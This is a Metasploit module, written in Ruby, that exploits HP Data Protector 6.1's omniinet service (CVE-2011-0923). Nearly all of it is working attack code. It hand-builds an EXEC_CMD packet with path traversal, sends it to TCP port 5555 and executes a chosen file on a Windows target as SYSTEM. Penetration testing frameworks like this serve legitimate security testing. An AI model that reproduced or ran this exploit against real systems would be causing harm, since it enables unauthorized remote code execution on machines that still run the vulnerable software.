HP Data Protector 6.1 EXEC_CMD Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP Data Protector 6.1 EXEC_CMD Command Execution',  
'Description' => %q{  
This module exploits HP Data Protector's omniinet process, specifically  
against a Windows setup.  
  
When an EXEC_CMD packet is sent, omniinet.exe will attempt to look  
for that user-supplied filename with kernel32!FindFirstFileW(). If the file  
is found, the process will then go ahead execute it with CreateProcess()  
under a new thread. If the filename isn't found, FindFirstFileW() will throw  
an error (0x03), and then bails early without triggering CreateProcess().  
  
Because of these behaviors, if you try to supply an argument, FindFirstFileW()  
will look at that as part of the filename, and then bail.  
  
Please note that when you specify the 'CMD' option, the base path begins  
under C:\.  
},  
'References' =>  
[  
[ 'CVE', '2011-0923' ],  
[ 'OSVDB', '72526' ],  
[ 'ZDI', '11-055' ],  
[ 'URL', 'https://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux/' ]  
],  
'Author' =>  
[  
'ch0ks', # poc  
'c4an', # msf poc (linux)  
'wireghoul', # Improved msf (linux)  
'sinn3r'  
],  
'License' => MSF_LICENSE,  
'DisclosureDate' => '2011-02-07'  
))  
  
register_options(  
[  
Opt::RPORT(5555),  
OptString.new("CMD", [true, 'File to execute', 'Windows\System32\calc.exe'])  
])  
end  
  
  
def run  
cmd = datastore['CMD']  
cmd << "\x00"*25  
cmd << "\n"  
  
user = Rex::Text.rand_text_alpha(4)  
  
packet = "\x00\x00\x00\xa4\x20\x32\x00\x20"  
packet << user*2  
packet << "\x00\x20\x30\x00\x20"  
packet << "SYSTEM"  
packet << "\x00\x20\x63\x34\x61\x6e"  
packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20"  
packet << user  
packet << "\x20\x20\x20\x20\x00\x20"  
packet << "\x50\x6f\x63"  
packet << "\x00\x20"  
packet << "NTAUTHORITY"  
packet << "\x00\x20"  
packet << "NTAUTHORITY"  
packet << "\x00\x20"  
packet << "NTAUTHORITY"  
packet << "\x00\x20\x30\x00\x20\x30\x00\x20"  
packet << "../../../../../../../../../../"  
packet << cmd  
  
begin  
print_status("#{rhost}:#{rport} - Sending command...")  
connect  
sock.put(packet)  
res = sock.get_once  
print_status(res.to_s) if res and not res.empty?  
rescue  
print_error("#{rhost}:#{rport} - Unable to connect")  
ensure  
disconnect  
end  
end  
end  
`